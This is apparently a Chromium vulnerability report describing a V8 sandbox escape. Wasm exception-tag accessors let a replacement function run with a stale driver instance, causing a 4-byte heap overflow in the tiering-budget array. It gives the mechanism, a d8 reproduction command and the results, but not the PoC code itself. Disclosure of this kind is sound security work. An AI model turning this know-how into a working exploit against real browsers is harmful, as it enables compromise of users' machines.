The attached poc.js embeds a driver module that exports driver, seed, and the exnref table, plus a replacement module that exports target. Sandbox.MemoryView is used only to model the prerequisite arbitrary read/write access inside the V8 sandbox: it copies the genuine hidden exception-tag symbol into the accessor descriptor and places the accessor object in the exported exnref table. The getter replaces seed with target in the imported function table and returns undefined, allowing the catch body and its second call_indirect to execute.

The supporting non-crashing semantic-poc.js observes the mixed tuple through instance-specific globals. The driver instance exports the optimized driver function and owns the imported function table; the replacement instance exports the function installed into that table. Coherent dispatch of the replacement function with the replacement instance returns the replacement instance’s global value 222, while vulnerable dispatch of the same function with the driver instance returned the driver instance’s global value 111 in 10/10 independent runs:

RESULT=111 GETTER_COUNT=1 TABLE_CHANGED=true

The crashing PoC gives the driver module two declared functions, so the driver instance’s tiering-budget allocation contains only indices 0 and 1. The replacement module exports a Liftoff function whose declared function index is 2. Dynamic tiering loads the budget base from the driver instance’s stale WasmTrustedInstanceData and obtains index 2 from the replacement function, so wasm::TriggerTierUp writes driver_instance.tiering_budget_array()[2], exactly one element past the driver instance’s 8-byte native allocation.

Reproduce

The attachment was confirmed with asan-v8-sandbox-testing-linux-release-1669311.zip.

ASAN_OPTIONS='detect_leaks=0:abort_on_error=1:symbolize=1' \
/path/to/d8 \
  --run-as-sandbox-security-poc \
  --allow-natives-syntax \
  /path/to/poc.js

Impact analysis

An attacker with arbitrary read/write access inside the V8 sandbox can invoke JavaScript from a Wasm exception metadata lookup without the compiler accounting for the callback, execute the replacement Liftoff function with the driver instance’s WasmTrustedInstanceData, and perform a native 4-byte heap-buffer-overflow outside the driver instance’s tiering-budget allocation.


The cause

What version of Chrome have you found the security issue in?

153.0.7978.0

Yes, it is related to a crash.

Choose the type of vulnerability

Sandbox Escape

View on issue tracker